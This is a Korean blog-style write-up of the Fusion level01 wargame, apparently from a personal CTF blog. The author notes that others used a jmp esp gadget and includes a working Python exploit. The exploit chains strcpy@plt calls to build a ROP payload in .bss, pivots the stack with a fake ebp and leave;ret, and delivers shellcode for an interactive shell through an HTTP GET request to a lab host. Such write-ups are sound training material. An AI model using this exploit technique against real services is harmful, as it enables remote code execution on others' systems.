레벨0이랑 소스는 같은데 aslr이 추가되고 버퍼의 주소를 안알려줬다. 문제를 보고 그냥 바로 ROP를 해야겠다 생각해서 걍 ROP로 풀었었는데 풀고 다른 사람들의 풀이를 보니까 다 jmp esp 가젯을 이용해서 풀었더라.. jmp esp 가젯은 많이 사용해 본 적이 없어서 생각해 내지 못한 것 같다. 앞으로 또 써먹을 일이 있었으면 좋겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | from SunKn0wn import * r = remote('192.168.179.151', 20001) strcpy_plt = 0x080489A0 leaveret = 0x8049853 ppr = 0x08049A2E popebpret = 0x8049a78 bss = 0x0804B4A8 Table = [0x8048158, 0x8049390, 0x8049940, 0x8049570, # read_plt 0x804813b, 0x8048d70, 0x8049940, 0x8049570, # pppr 0x8048158, 0x8048158, 0x8048158, 0x8048158, # 0 0x8048be0, 0x8048f17, 0x8049940, 0x8049570, # bss 0x8048158, 0x804830c, 0x8048158, 0x8048158, # 100 0x8048be0, 0x8048f17, 0x8049940, 0x8049570] # bss cnt = 0 payload = 'A' * 139 for gadget in Table: payload += p32(strcpy_plt) payload += p32(ppr) payload += p32(bss + cnt) payload += p32(gadget) cnt += 1 payload += p32(popebpret) payload += p32(bss - 4) payload += p32(leaveret) payload = 'GET ' + payload + ' HTTP/1.1' r.recvsend(payload) sleep(0.5) r.send(SocketShell32) r.interactive() | cs |
페이로드를 bss영역에 복사해서 fake ebp로 페이로드를 실행하고 쉘코드를 받아서 풀었다. 지금 생각해 보니까 참 어렵게도 푼 것 같다..
'Wargames > fusion' 카테고리의 다른 글
fusion level04 (0) | 2016.04.28 |
---|---|
fusion level03 (0) | 2016.04.25 |
fusion level02 (0) | 2016.04.20 |
fusion level00 (2) | 2016.04.15 |